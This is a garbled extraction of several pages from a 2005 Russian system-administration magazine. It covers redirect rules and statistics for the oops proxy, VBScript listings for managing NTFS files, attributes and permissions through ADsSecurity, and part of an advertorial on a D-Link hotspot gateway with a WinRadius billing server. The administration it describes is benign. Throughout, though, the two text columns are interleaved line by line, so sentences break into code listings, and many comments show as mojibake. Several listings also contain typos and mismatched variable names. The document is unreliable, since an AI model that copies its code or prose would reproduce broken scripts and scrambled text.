{"nospam1x1", "image/gif", sizeof(nospam1x1gif), ↵ # ÷òî ìîæíî èñïîëüçîâàòü äëÿ ñíèæåíèÿ òðàôèêà, ñîçäàâàåìîãî
3600, nospam1x1gif}, # ïîëüçîâàòåëÿìè
{"nospam468x60", "image/gif", sizeof(nospam468x60gif), ↵ http://(www.)?yandex\.ru/?$ http://ya.ru
3600, nospam468x60gif},
{"nospam_close", "text/html", sizeof(nospam_close)-1, ↵ # Áëîêèðóåì âñå çàïðîñû ñî ñëîâîì porno, â òîì ÷èñëå
3600, nospam_close}, # è ôîðìèðóåìûå ïîèñêîâèêàìè
{"nospam_empty", "text/html", sizeof(nospam_empty)-1, ↵ porno
3600, nospam_empty},
{"nospam_js", "application/x-javascript", ↵ # Âìåñòî ëþáûõ èçîáðàæåíèé âîçâðàùàåì «ïóñòîé» ðèñóíîê
sizeof(nospam_js)-1, 3600, nospam_js}, (gif|jpg|jpe|jpeg)$ internal:nospam1x1
{""}
}; Любые изменения в файлах правил «подхватываются
на лету», не требуя перезапуска сервера. Ну и чтобы ука-
В этом же файле определяются и сами объекты. Напри- занные правила распространялись на конкретную группу,
мер, перенаправление «internal:nospam_close» вернет кли- в секции этой группы нужно указать опцию redir_mods со
енту такую HTML-страницу вместо запрошенной: значением «redir». Oops позволяет создавать до 15 допол-
нительных наборов правил перенаправления, которые опи-
<html></html><SCRIPT LANGUAGE="JavaScript"> ↵ сываются в модулях с redir/1 по redir/15 с таким же синтак-
<!--window.close()//--></SCRIPT>
сисом, что и redir, и могут быть назначены той или иной
Регулярные выражения строятся по стандартным для группе указанием имени модуля в строке redir_mods.
UNIX правилам. Ниже дан пример файла redir_rules, демон- Чтобы oops работал как прозрачный прокси-сервер, до-
стрирующий некоторые особенности: полнительно нужно раскомментировать секцию «module
transparent», и в секциях тех групп, которым будет позволе-
# Åñëè çàïðîñ ñîîòâåòñòâóåò íåñêîëüêèì ïðàâèëàì, но пользоваться его благами, нужно в параметр redir_mods
# ïðèìåíÿåòñÿ ïåðâîå (íà microsoft.com ìû ïîïàñòü íå ñìîæåì)
.*soft.* добавить значение «transparent». Ну и не забыть выполнить
.*micro.* allow перенаправление трафика в правилах firewall, например, так:
# Çàïðåùàåì äîñòóï íà âñå äîìåíû òðåòüåãî óðîâíÿ, èìÿ
# êîòîðûõ ñîäåðæèò ñòðîêó amsand, çà èñêëþ÷åíèåì amsand.narod.ru # ipfw add 1000 fwd localhost,3128 ↵
http://.*amsand.narod.ru allow ip from 192.168.0.0/24 to any dst-port 80
http://.*amsand\..+.ru
Работа в режиме прозрачного прокси-сервера позволя-
# Ïðîâåðêà ðàáîòû «âíóòðåííèõ» ïåðåíàïðàâëåíèé
http://.*/.*test1x1.* internal:nospam1x1 ет клиентам вообще ничего не знать о посреднике на пути к
http://.*/.*test468x60.* internal:nospam468x60 запрошенному сайту. Браузер просто формирует стандар-
http://.*/.*test_close.* internal:nospam_close
http://.*/.*test_empty.* internal:nospam_empty тный запрос на 80-й порт и получает ответ. Естественно,
http://.*/.*test_js.* internal:nospam_js что в таком режиме речь об авторизации уже не идет – бра-
# Ëþáîé çàïðîñ, ñîäåðæàùèé â èìåíè ðåñóðñà óïîìèíàíèå узер просто не подозревает, что в этом может возникнуть
# Àëüòàâèñòû, áóäåò ïåðåíàïðàâëåí íà ñòàðòîâóþ ñòðàíèöó необходимость. Подробнее вопросы авторизации и рабо-

№1, январь 2005 15


администрирование
ты сервера в прозрачном режиме были освещены в статье Остановка сервера выполняется командой:
Дмитрия Репина «Transparent proxy. Быть или не быть?»,
журнал «Системный администратор», №4, апрель 2004 г. # oopsctl stop
Настало время выполнить инициализацию кэш-храни-
лища: Чтобы применить изменения, внесенные в конфигура-
ционный файл, используется следующая команда:
# oops –c /usr/local/etc/oops/oops.cfg –z
# oopsctl reconfigure
После непродолжительной работы появятся файлы, опи-
санные в секциях storage. Осталось запустить oops и убе- Все ключи запуска можно посмотреть в man oopsctl или
диться, что все работает как нужно. Для управления лучше по команде:
всего использовать утилиту oopsctl:
# oopsctl help
# oopsctl start
Вот вроде бы и все. Еще осталось позволить oops заг-
Прописываем адрес и порт нашего proxy в настройках ружаться при старте системы, для чего файл /usr/local/etc/
браузера (если прокси-сервер непрозрачный) и проверяем rc.d/oops.sh.sample нужно переименовать в oops.sh.
работоспособность. Во время работы будут меняться пара- В заключение отмечу, что формат access-файла oops
метры статистики (см. /var/run/oops/oops_statfile). Более совместим с форматом Squid, и для его анализа подойдет
полную информацию можно просмотреть, выполнив следу- любой анализатор, разработанный для Squid.
ющую команду: Мои запросы и в этом плане минимальны, поэтому я
использую простой сценарий на Python:
# oopsctl stat
#!/usr/local/bin/python
## -- General info --
Version : 1.5.23 import sys
Uptime : 5646sec, (0day(s), 1hour(s), 34min(s)) try:
Last update : Fri Dec 17 16:03:54 2004 logfile = sys.argv[1]
Clients : 1 (max: 8) except:
HTTP requests: 415 logfile = 'access.log'
ICP requests: 0
Total hits : 96 logs = open(logfile, 'r').readlines()
Curr.req.rate: 0,00 req/sec (max: 2,68) traffic = {}
Tot.req.rate : 0,07 req/sec counter = {}
Curr.hit.rate: 0,00 %
for log in logs:
Tot.hit.rate : 23,13 %
splitted = log.split()
Curr.icp.rate: 0,00 req/sec (max: 0,00) ip = splitted[2]
## -- CPU -- if traffic.has_key(ip):
Total usage : 22607ms traffic[ip] = traffic[ip] + int(splitted[4])
Delta usage : 195ms counter[ip] = counter[ip] + 1
Delta time : 61000ms else:
traffic[ip] = int(splitted[4])
Delta usage показывает использование процессора за пос- counter[ip] = 1
ледний Delta time. То есть в данном случае за последнюю
keys = traffic.keys()
61 секунду было использовано 195 мс процессорного вре- keys.sort()
мени. Если говорить точнее, то эти цифры показывают, что
for ip in keys:
предыдущий замер делался 61 секунду назад, и с тех пор print '%s | %7d | %15d (%7.2f) |' % (ip.ljust(18), ↵
общее время использования процессора (total usage) вы- counter[ip], traffic[ip], traffic[ip] / 1048576.0)
росло на 195 мс. Собственно, на основе этих данных и счи-
тается Curr. CPU: 195/61000*100 = 0.32%. Результат выглядит примерно так (для каждого IP воз-
Curr. CPU : 0,32 % (0,03s+0,29u) вращается количество сессий и суммарный трафик в бай-
Aver. CPU : 0,40 % (0,11s+0,29u) тах и мегабайтах):
## -- storages --
Disks msg : Cleanup finished
# ./getstat
Storage : /var/oops/storage/oops_storage0
Size : 200,00 MB
10.0.0.203 | 749 | 4523870 (4.31) |
Free blks : 51197 blks (199,99Mb) 99,99 %
10.0.0.207 | 1| 1123 (0.00) |
State : READY
127.0.0.1 | 1| 1298 (0.00) |
Fileno :7
192.168.0.8 | 234 | 2871338 (2.74) |
Storage : /var/oops/storage/oops_storage1
66.32.79.217 | 2| 0 (0.00) |
Size : 200,00 MB
Free blks : 51197 blks (199,99Mb) 99,99 %
State : READY На данный момент я вполне доволен как возможностя-
Fileno :9
## -- end of storages --
ми oops, так и гибкостью и понятностью его конфигураци-
## -- modules -- онных файлов. Как он будет вести себя в дальнейшем, ког-
. . . пропущено . . . да потребуется что-то экзотическое – посмотрим.
## -- end of modules --
## -- icp peers -- Дополнительную информацию и сам oops можно полу-
## -- end of icp peers-- чить на сайте проекта: www.oops-cache.org.

16
администрирование

ПРОГРАММНОЕ УПРАВЛЕНИЕ ФАЙЛОВОЙ СИСТЕМОЙ


С ПОМОЩЬЮ VBScript
ИВАН КОРОБКО
Создавая сценарии, позволяющие автоматизировать раз- где path – путь к каталогу, например, «C:\FolderName» или
личные процессы в сети, зачастую необходимо программ- «\\Server\ShareName».
но управлять файловой системой NTFS, а именно: созда- В качестве обработчика ошибок рекомендуется исполь-
вать, удалять, перемещать, копировать файлы и папки; из- зовать функцию FolderExists(), с помощью которой можно
менять их атрибуты и права доступа к ним. Такие сценарии определить существует ли каталог, по указанному пути:
могут быть созданы с помощью VBScript или JSсript. В дан-
ной статье все примеры будут приведены на VBScript. path="…"
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If fso.FolderExists(path) then
Основы программного управления Set oFolders=fso.GetFolder(path)

файловой системой Else
Для программного управления файловой системой NTFS с MsgBox "Folder " + path + " Not Exists"
End If
помощью VBScript рекомендуется использовать встроенный
объект FileSystem Object, поддерживающий набор методов,
перечисленных в таблице 1: Определение списка подпапок
Òàáëèöà 1 в указанной директории
Формирование списка осуществляется с помощью свойства
Name набора SubFolders и Files. С помощью набора
SubFolders определяется список папок, вложенных в ука-
занный каталог, а с помощью Files – соответственно спи-
сок файлов. Приведем пример, в котором будет определе-
ны подпапки каталога Windows:

path="C:\Windows"
Temp=""
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If fso.FolderExists(path) then
Set oFolders=fso.GetFolder(path)
Set OSubFolders=oFolders.Subfolders
For each i In OSubFolders
Temp=Temp+i.Name+chr(13)
Для получения доступа к объектам FSO необходимо Next
создать переменную-объект и присвоить ей ссылку на Else
Temp= "Folder " + path + " Not Exists"
объект FileSystemObject: End If
MsgBox Temp
Set fso=WScript.CreateObject(“Scripting.FileSystemObject”)

После создания объекта становятся доступны его ме- Определение списка всех
тоды, свойства и дочерние объекты. Поскольку в данной вложенных подпапок в каталоге
статье будут рассмотрены вопросы, касающиеся операций Для чтения всей структуры подкаталогов необходимо вы-
с файлами и папками, то некоторые объекты и наборы, та- шеописанный механизм поместить в функцию и сделать ее
кие как Drive(s) и TextStream, не будут рассмотрены. рекурсивной1. Функция будет иметь два параметра – путь к
абсолютному подкаталогу (PATH) и уровень вложенности
Программное получение доступа к папкам подкаталогов (IDX).
С помощью набора Folders осуществляется формирование Данные, содержащие абсолютные пути к подкаталогам,
списка вложенных файлов и папок в указанном каталоге; разумно записывать в динамический одномерный массив.
просмотр атрибутов каталога; создание, перемещение, пе- Приведем пример создания и заполнения элементов дина-
реименование и удаление папок. мического массива на примере чтения структуры подката-
Доступ к набору Folders можно получить, воспользовав- логов, затем приведем шаблон рекурсивной функции.
шись следующим шаблоном:
Path="C:\RootFolder"
path="…" i=0
Set fso=WScript.CreateObject("Scripting.FileSystemObject") Dim Array() 'Îáúÿâëåíèå äèíàìè÷åñêîãî ìàññèâà
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set oFolders=fso.GetFolder(path)

1
Рекурсивная функция – это функция, вызывающая саму себя, при этом она обязательно передает параметры. Рекурсивные функции, как
и правила, используются для чтения иерархической структуры.

№1, январь 2005 17


администрирование
Set oFolder=fso.GetFolder(path) Управление атрибутами файлов
Set oFolders=oFolder.SubFolders Каждый файл имеет набор параметров, которые его харак-
' Èçìåíåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâà
Redim Preserve Array(oFolders.count) теризуют – название, расширение, размер, даты создания
For Each of In oFolders и последнего изменения файла, его атрибуты. О том, как
Array(i)=cstr(oF.Path) ' Çàïèñü ýëåìåíòîâ â ìàññèâ
i=i+1 считывать названия файлов и их расширения, было рас-
Next сказано ранее. Пришло время рассказать о методике чте-
'×òåíèå ýëåìåíòîâ ìàññèâà:
Temp="" ния дат и атрибутов файлов.
For i=Lbound(Array) to Ubound(Array)
Temp=Temp+cstr(Array(i))+chr(13)+chr(10)
Next Определение атрибутов файлов
MsgBox Temp Получив доступ к файлам, как это показано в предыдущем
Шаблон рекурсивной функции: разделе, с помощью свойства Attributes можно определить
атрибуты файлов.
……….. Свойство Attributes возвращает двоичное значение, рас-
' Âûçîâ ôóíêöèè RecFolder â òåëå ñöåíàðèÿ
RecFolder index, path шифровка которых приведена в таблице:
………..
Function Recfolder (idx, path) Òàáëèöà 2
………..
………..
………..
Call Recfolder (idx+1, path)
………..
End Function

На основе изложенного материала приведем листинг


скрипта, который позволяет определить названия всех под-
папок, вложенных в указанный каталог (в примере – пере-
менная path): Приведем пример чтения атрибута файла boot.ini:

dim path_array() path="c:\boot.ini"


path="c:\windows" Set WSHShell = WScript.CreateObject("WScript.Shell")
i=0 Set fso=createobject("Scripting.filesystemobject")
temp="" Set oFile=fso.GetFile(path)
detect(q) MsgBox oFile.Name&": "& oFile.Attributes
MsgBox "oFolders_count: "+cstr(detect(q))
For j=0 to cstr(ubound(path_array)-1) Если атрибуты этого файла никто не изменял, то значе-
path=cstr(path_array(j))
temp=temp+cstr(j)+": "+path+chr(13) ние свойства oFile.Attributes будет равно 39, что в соответ-
Next ствии с таблицей обозначает, что boot.ini имеет следующие
MsgBox temp
атрибуты: только для чтения, скрытый, системный, архи-
Function detect(c) вный.
i=0
Set fso=Wscript.CreateObject("Scripting.FileSystemObject") Для того чтобы пользователь каждый раз не занимался
Set oFolder=fso.GetFolder(path) определением атрибутов файлов, необходимо использовать
Set oFolders=oFolder.SubFolders
Redim Preserve path_array(oFolders.count) функцию, с помощью которой будет осуществляться сопо-
ставление кода, возвращаемого функцией атрибутам. Так-
detect=oFolders.count
For Each oF In oFolders же необходимо осуществлять проверку на существование
path_array(i)=path+"\"+cstr(oF.Name) файла с помощью функции FileExists():
i=i+1
Next
End Function path="c:\boot.ini"
Set WSHShell = WScript.CreateObject("WScript.Shell")
Set fso=createobject("Scripting.filesystemobject")
if fso.FileExists(path) then
Определение списка файлов, Set oFile=fso.GetFile(path)
находящихся в директории Attr_value=oFile.Attributes
temp=A_detect()
Методика определения списка файлов, содержащихся в MsgBox oFile.Name&": "& temp
директории, та же, что и в случае определения списка под- else
MggBox "Ôàéë " &path& " íå ñóùåñòâóåò"
каталогов. Разница заключается в том, что вызывается end if
набор Files, а не SubFolder:
function A_detect()
t=""
path="c:\windows" if (Attr_value and &H01)> 0 Then ↵
Set WSHShell = WScript.CreateObject("WScript.Shell") t=t+"Òîëüêî äëÿ ÷òåíèÿ; "
Set fso=createobject("Scripting.filesystemobject") if (Attr_value and &H02)> 0 Then ↵
Set oFolder=fso.GetFolder(path) t=t+"Ñêðûòûé; "
Set oFiles=oFolder.files if (Attr_value and &H04)> 0 Then ↵
MsgBox "oFiles_count: "+cstr(oFiles.count) t=t+"Ñèñòåìíûé; "
if (Attr_value and &H20)> 0 Then ↵
temp="" t=t+"Àðõèâíûé; "
For each oFile in oFiles if (Attr_value and &H800)> 0 Then ↵
temp=temp & oFile.name & chr(13) t=t+"Ñæàòûé; "
Next A_detect=t
MsgBox text end function

18
администрирование
Изменение атрибутов файлов Source – обязательный параметр, в котором передает-
Изменение атрибутов файлов с помощью FSO осуществля- ся строка с именем исходной папки (путем); путь может
ется присвоением другого значения переменной oFile.Name. включать знаки подстановки, такие как «?» или «*». Реко-
Значение может быть присвоено как в шестнадцатеричном, мендуется использовать знаки подстановки для копирова-
так и в десятеричном виде в (см. таблицу 2): ния или перемещения нескольких папок, одновременно
удовлетворяющих заданному шаблону
path="c:\readme.txt" Destination – обязательный параметр, задающий путь к
Set WSHShell = WScript.CreateObject("WScript.Shell")
Set fso=createobject("Scripting.filesystemobject") папке назначения в виде строки. Значение этого парамет-
Set oFile=fso.GetFile(path) ра не может содержать символов подстановки. В том слу-
MsgBox oFile.Name&": "& oFile.Attributes
oFile.Attributes=39 чае если путь заканчивается «\» и папка-приемник не су-
MsgBox oFile.Name&": "& oFile.Attributes ществует, то она будет создана.
Overwrite – необязательный параметр, который прини-
По умолчанию вновь созданный файл readme.txt имеет мает значение False(0) или True(1). Если он равен True, т.е.
атрибут «Архивный»(32). Присвоив параметру oFile.Attributes 1 (по умолчанию), то целевая папка будет перезаписана.
значение 39, файлу будут назначены следующие атрибу- Обратите внимание на то, что параметры указываются
ты: только чтение, скрытый, системный, архивный. без скобок. Приведем примеры копирования и перемеще-
ния папок. Копирование папки:
Операции над файлами и папками
Над файлами и папками можно производить следующие OldPath="C:\TempFolderOld"
NewPath="C:\TempFolderNew"
операции: создание, копирование, перемещение, удаление. Set fso=WScript.CreateObject("Scripting.FileSystemObject")
Сначала опишем операции, выполняемые с папками, за- fso.CopyFolder OldPath, NewPath, 1
MsgBox "Ïàïêà " + OldPath + " ñêîïèðîâàíà â " + NewPath
тем файлами.
Удаление папки:
Создание и удаление папок
Создание и удаление каталогов осуществляется с помощью OldPath="C:\TempFolderOld"
NewPath="C:\TempFolderNew"
методов CreateFolder(path) и DeleteFolder(path) объекта FSO. Set fso=WScript.CreateObject("Scripting.FileSystemObject")
Параметром каждого из этих методов является путь к ката- fso.MoveFolder OldPath, NewPath, 1
MsgBox "Ïàïêà " + OldPath + " ïåðåìåùåíà â " + NewPath
логу – path. Используя эти методы, желательно включать в
листинг скрипта обработчик ошибок, который проверяет на-
личие или отсутствие папки перед осуществлением каких- Копирование и перемещение файлов
либо манипуляций с ней. Приведем два примера: первым Копирование и перемещение файлов осуществляются с по-
из них проиллюстрируем процесс создания новой папки мощью методов Copy и Move соответственно. Поскольку ис-
C:\TempFolder; во втором – процесс удаления этой папки. пользование этих методов одинаково, то они будут рассмот-
рены совместно. Шаблон вызова любого метода следующий:
path="C:\TempFolder"
Temp="" PathOld="C:\Folder\FileNameOld"
Set fso=WScript.CreateObject("Scripting.FileSystemObject") PathNew="C:\Folder\FileNameNew"
If fso.FolderExists(path)=0 then
fso.CreateFolder(path) Set fso=WScript.CreateObject("Scripting.FileSystemObject")
Temp= "Folder " + path + " Created " If (fso.FileExistes(PathOld)) Then
Else
Temp= "Folder " + path + " Already Exists" Set oFile=fso.GetFile(PathOld)
oFile.**** PathNew
End If End If
MsgBox Temp
где вместо «****» указывается название метода. Различие
Удаление папки: в использовании методов заключается в том, что при вы-
зове метода Move после копирования файла осуществля-
path="C:\TempFolder" ется удаление первоисточника.
Temp=""
Set fso=WScript.CreateObject("Scripting.FileSystemObject") Приведем пример копирования файла:
If fso.FolderExists(path)<>0 then
fso.DeleteFolder(path) PathOld="C:\Folder\1.txt"
Temp= "Folder " + path + " Deleted" PathNew="C:\Folder\2.txt"
Else
Temp= "Folder " + path + " is Absent " Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If (fso.FileExistes(PathOld)) Then
End If Set oFile=fso.GetFile(PathOld)
MsgBox Temp
oFile.Copy PathNew
End If

Переименование, копирование
и перемещение папок Удаление файлов
Копирование папок осуществляется с помощью метода Удаление файла осуществляется с помощью метода Delete,
CopyFolder source, destination, overwrite, перемещение и пе- вызываемого аналогичным способом. Отличается лишь
реименование – с помощью MoveFolder source, destination, синтаксис самого метода: у метода Delete, в отличие от Copy
overwrite. Каждый их этих методов имеет три параметра: или Move, отсутствуют параметры:

№1, январь 2005 19


администрирование
PathDel="C:\Folder\1.txt" Параметр AccessMask (см. рис. 1):
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
If (fso.FileExistes(PathDel)) Then Òàáëèöà 4
Set oFile=fso.GetFile(PathDel)
oFile.Delete
End If

Управление правами доступа


на файлы и папки
Создавая новую папку или файл на жестком диске с фай-
ловой системой NTFS, новому объекту присваиваются пра-
ва доступа по определенным правилам. Если разговор идет
о создании общих папок на сервере, то системного адми-
нистратора, как правило, не устроят права доступа, на-
значаемые по умолчанию: они должны быть изменены в
соответствии с определенными правилами, описываемы-
ми шаблоном. О том, как программно изменить права до-
ступа на папки и файлы, и пойдет разговор в следующем
разделе.

Библиотека ADsSequrity.dll
Программное управление правами доступа к файлам и пап-
кам можно реализовать с помощью библиотеки ADs
Sequrity.dll, входящей в комплект поставки ADSI Resource
Kit (http://www.microsoft.com). Перед использованием биб-
лиотеки ее необходимо зарегистрировать на компьютере,
на котором будет запускаться сценарий.
Команда регистрации библиотеки выглядит следующим
образом:
Параметр AccessFlags (см. рис. 2):
regsvr32.exe /s ADsSequrity.dll
Òàáëèöà 5

Доступ к вышеуказанной библиотеке осуществляется с


помощью функции CreateObject(«ADsSecurity») по следую-
щему сценарию:

Set sec = CreateObject("ADsSecurity")


Set sd = sec.GetSecurityDescriptor("FILE://c:\folder")
Set dacl = sd.DiscretionaryAcl
For Each ace In dacl Параметр AceType (см. рис. 1, 3):
Wscript.Echo cstr(ace.Trustee)+" " + cstr(ace.AccessMask) + ↵
" " + cstr(ace.AceType) + chr(13)+chr(10) Òàáëèöà 6
Next
Wscript.Echo dacl.AceCount

Как видно из примера, для управления правами необ-


ходимо создать новый экземпляр объекта ADsSecurity и Также приведем таблицу, в которой описан набор стан-
указать к нему путь, который является параметром функ- дартных атрибутов (см. рис. 3):
ции GetSecurityDescriptor(). Таким образом, можно получить Òàáëèöà 7
доступ к коллекции DiscretionaryAcl, членами которой явля-
ются Trustee, AccessMask, AceType, AceCount и не фигури-
рующий в данном шаблоне RemoveAcl:
Òàáëèöà 3

После многочисленных экспериментов были установле-


ны и сведены в таблицы значения различных параметров:

20
администрирование
Set sec = CreateObject("ADsSecurity")
Set sd = sec.GetSecurityDescriptor("FILE://c:\Folder")
Set dacl = sd.DiscretionaryAcl
Set ace = CreateObject("AccessControlEntry")
ace.Trustee = "Domain\Administrator"
ace.AccessMask = &h20000000
ace.AceType = &h0
ace.AceFlags = &h3
dacl.AddAce ace1
sd.DiscretionaryAcl = dacl
sec.SetSecurityDescriptor sd
set dacl=nothing
set sec=nothing

Если необходимо добавить сразу несколько новых


объектов, то необходимо учесть некоторые нюансы, о ко-
торых скажем несколько слов после примера:

Set sec = CreateObject("ADsSecurity")


Set sd = sec.GetSecurityDescriptor("FILE://c:\Folder")
Set dacl = sd.DiscretionaryAcl
Set ace1 = CreateObject("AccessControlEntry")
ace1.Trustee = "msk\corwin"
ace1.AccessMask = &h20000000
Ðèñóíîê 1 ace1.AceType = &h0
ace1.AceFlags = &h3
dacl.AddAce ace1
for i=0 to 10000000
next
Set ace2 = CreateObject("AccessControlEntry")
ace2.Trustee = "msk\sneretin"
ace2.AccessMask = &h20000000
ace2.AceType = &h0
ace2.AceFlags = &h3
dacl.AddAce ace2
sd.DiscretionaryAcl = dacl
sec.SetSecurityDescriptor sd
set dacl=nothing
set sec=nothing

Изучив пример, можно обнаружить две особенности:


! Для каждого нового добавляемого объекта необходимо
создать свой собственный объект AccessControlEntry, при
этом описание объекта GetSecurityDescriptor и ADsSecurity
у них может быть общим.
! После добавления нового объекта должно пройти неко-
торое время (особенно если сценарий находится на од-
Ðèñóíîê 2 ном сервере, a объект, права доступа на который необ-
ходимо изменить, на другом), прежде чем он станет до-
ступен для последующих действий. Для этого необхо-
димо сделать в сценарии паузу. Поскольку в VBScript
не существует такой функции, то предлагается вставить
пустой цикл For…Next, на выполнение которого требу-
ется определенное время.

Удаление существующих объектов


Удаление существующих групп или пользователей осуще-
ствляется с помощью свойства RemoveAcl коллекции объек-
тов DiscretionaryAcl.

Set sec = CreateObject("ADsSecurity")


Set sd = sec.GetSecurityDescriptor("FILE://c:\2")
Set dacl = sd.DiscretionaryAcl
For Each ace In dacl
If (ace.Trustee="EveryOne")
dacl.RemoveAce ace
Ðèñóíîê 3 end if
Next
sd.DiscretionaryAcl = dacl
Добавление новых объектов set dacl=nothing
set sec=nothing
В качестве новых объектов могут выступать пользователи
или группы. Приведем пример добавления нового пользо- Рассмотрев основы управления NTFS, читатель может
вателя: приступить к реализации более сложных задач.

№1, январь 2005 21


администрирование

HOTSPOT – ЭТО ПРОСТО!

АНДРЕЙ ПЛАТОНОВ
С ростом популярности беспроводных сетей 802.11 a/b/g, шлюза, с которой справится любой человек, имеющий ба-
объединённых общим названием Wi-Fi, всё быстрее разви- зовые знания по IP-сетям. Все настройки осуществляются
вается новое направление на рынке организации услуг до- через встроенный веб-интерфейс. Оператор хотспота (че-
ступа в Интернет – создание публичных зон доступа, или ловек, пробивающий чеки на тикет-принтере) также не бу-
HOTSPOT. HOTSPOT – это место, где имеется доступ к бес- дет загружен сложной работой. Добавление нового пользо-
проводной сети. И если с беспроводной составляющей вателя происходит очень просто: в меню вводится количе-
HOTSPOT (имеются в виду точки доступа) всё более-ме- ство предоплаченных клиентом часов и нажимается кноп-
нее понятно, то со средствами учёта и контроля пользова- ка «Print» на чек-принтере. В распечатанной карточке дос-
телей по-прежнему возникают затруднения. Для разреше- тупа (которая, правда, больше похожа на чек) находится
ния этой проблемы многие производители сетевого обору- вся необходимая для подключения к сети информация: ключ
дования приступили к выпуску специализированного обо- WEP-шифрования, логин и пароль для авторизации. При
рудования для формирующегося рынка услуг. Не стала ис- первой попытке пользователя обратиться к ресурсам Ин-
ключением и компания D-Link, представив шлюз для созда- тернета он перенаправляется на веб-страницу авторизации.
ния зон коллективного доступа в Интернет DSA-3100 и чек- Обмен авторизационной информацией происходит по про-
принтер DSA-3100P. токолу HTTPS, что повышает безопасность системы. На
Итак, какие же функции должна выполнять система, на случай, если браузер клиента не поддерживает защищён-
которой базируется HOTSPOT? ное SSL-соединение (что бывает крайне редко), предусмот-
! Быстрое добавление пользователя в систему. рена возможность использования открытого HTTP. Мето-
! Аутентификация пользователя. дика авторизации пользователей, построенная на базе Web,
! Подсчет трафика или времени, проведенного в сети. избавляет менеджера HOTSPOT от хлопот по установке и
! Автоматическое отключение пользователя при дости- настройке на машинах пользователей дополнительного
жении лимита трафика или времени. клиентского ПО, управляющего авторизацией.
К вышеописанному виду относится большинство
Безусловно, эти функции можно реализовать даже на HOTSPOT, которые создаются в аэропортах, на вокзалах,
маломощной машине под управлением *nix. Однако D-Link в выставочных комплексах и гостиницах. В них по обыкно-
обещает нам решение этих задач при помощи простого в вению используется тарификация по времени на условиях
настройке шлюза, который сможет настроить даже сред- предоплаты. Шлюз D-Link DSA-3100 в паре с принтером
нестатистический пользователь. Кроме того, шлюз будет DSA-3100P идеально подходят для решения подобных за-
интересен и более подготовленным пользователям, т.к. на дач – HOTSPOT может быть развернут всего за несколько
его основе возможно построение полноценной биллинго- часов (в зависимости от масштабов) даже силами прихо-
вой системы. дящего админа или просто продвинутого пользователя.
Устройство имеет три порта Ethernet: Кроме простейших случаев, существуют более сложные
! WAN-порт – для подключения к сети Интернет. варианты – например, когда мы имеем не один, а целую
! LАN-порт (частная сеть) – подключаются клиенты, для сеть HOTSPOT, причём необязательно в каждом из них есть
которых не требуется аутентификация (например, ло- оператор, принимающий платежи. Возможен, например,
кальная сеть кафе, в котором организован HOTSPOT). такой вариант: клиент активирует карточки предоплаты
! Authentication-порт – к этому порту подключается сеть, (скретч-карты) для зачисления денег на свой электронный
клиенты которой будут проходить аутентификацию пе- счёт. В этом случае шлюз DSA-3100 становится большой
ред выходом в Интернет. важной шестерёнкой под названием NAS (Network Access
Server) в сложном механизме биллинговой системы. Аутен-
На базе шлюза можно создать несколько типов хотспо- тификация/Авторизация/Аккаунтинг (ААА) при этом прово-
тов. Во-первых, это простейший случай – отдельно стоящий дятся через RADIUS-сервер.
хотспот, в котором есть оператор. Такой хотспот организо- Ещё одним важным свойством такой системы является
вывается довольно легко: нужна минимальная настройка то, что для того, чтобы она стала полноценным биллингом,

22
на правах рекламы
её, скорее всего, придётся немного доработать, что могут Настройка WinRadius
осуществить только самые упорные и опытные. Но не боги
горшки обжигают!

RADIUS расшифровывается как Remote Authentication


Dial In User Service. Изначально данный протокол был со-
здан для обслуживания больших модемных пулов, но реа-
лизация получилась настолько удачной, что сейчас он час-
то используется не только для DialUP, но и для IP-телефо-
нии, организации доступа в VPN-сети.
Итак, раз заголовок нашей статьи «HOTSPOT – это про-
сто!», мы рассмотрим самый простой вариант из всех воз-
можных сложных вариантов и набросаем в общих чертах
хотспотный биллинг, который и есть самое главное в хотс-
поте. Средством сбора статистики будут шлюзы DSA-3100.
Несмотря на взрывной рост популярности Linux-систем, наи-
более распространенной и знакомой для большинства ос-
тается Windows. Поэтому мы рассматриваем RADIUS-
сервер именно на его основе. Безусловно, для опытного
юниксоида не будет проблемой связать DSA-3100, напри-
мер, с freeradius, одним из важнейших достоинств которо- Настраиваем драйвер базы данных ODBC
го является его бесплатность. Это требуется для работы нашего RADIUS с БД MSAccess
Для эксперимента мы использовали компьютер под уп- (файл базы данных есть в дистрибутиве WinRadius –
равлением Win2k Server и WinRadius 2.11 (http://www.it WinRadius.mdb). ODBC – это аббревиатура от Open
consult2000.com), как и большинство программ под Windows, DataBase Connectivity (примерный перевод – открытая сис-
WinRadius небесплатен, однако эту проблему можно решить тема связи с базами данных) – некий универсальный ин-
тем или иным способом (например, купить ее). терфейс к различным базам данных. Что-то вроде прослой-
Теперь более подробно о том, как будет выглядеть наша ки между пользовательскими приложениями и базами дан-
учётно-биллинговая система и как она будет работать. ных, которая позволяет скрыть особенности той или иной
Предположим, у нас есть некоторая опорная сеть, к кото- БД и унифицировать свойства всех источников данных.
рой через DSA-3100 подключены все наши хотспоты. Шлюз
каждого хотспота настроен на работу с RADIUS, который в
свою очередь взаимодействует с базой данных (в нашем
случае это будет msAcsess – как самый простейший вари-
ант), в которой хранятся учётные записи пользователей и в
которую будет складываться статистика.
Итак, проделаем следующее:
! поставим WinRadius;
! настроим WinRadius на взаимодействие с DSA-3100 и
БД MSAccess;
! создадим пользователя на сервере RADIUS;
! аутентифицируемся и посчитаем трафик (посмотрим,
как это всё записалось в БД);
! сделаем маленький веб-интерфейс к биллинговой сис-
теме, реализующий некоторый функционал.

№1, январь 2005 23


администрирование

Таблица tbUsers (в которой мы видим созданных пользо-


! В поле «Data Source Name» вписываем «WinRadius». вателей).
! В поле «Description» пишем что хотим.
! Нажимаем «Select», ищем директорию, в которой уста-
новлен WinRadius, и находим там файл WinRadius.mdb.
! Нажимаем «OK».

Настраиваем DSA-3100 на работу Итак, вроде бы всё очень хорошо: пользователи аутен-
с сервером RADIUS тифицируются, и трафик считается. Единая база данных
позволяет осуществлять роуминг между HOTSPOT, разбро-
санными по всему городу. Между точками доступа внутри
хотспотов также осуществляется роуминг при помощи про-
токола IAPP (Inter Access Point Protocol). Однако чего-то всё-
таки не хватает. А не хватает следующего: возможности
пользователям просматривать текущее состояние своего
счёта, возможности пополнять счёт (чтобы это мог делать
сам пользователь или администратор/оператор системы).
Кроме того, не помешает наличие возможности удобного
администрирования системы, в которой, например, будет
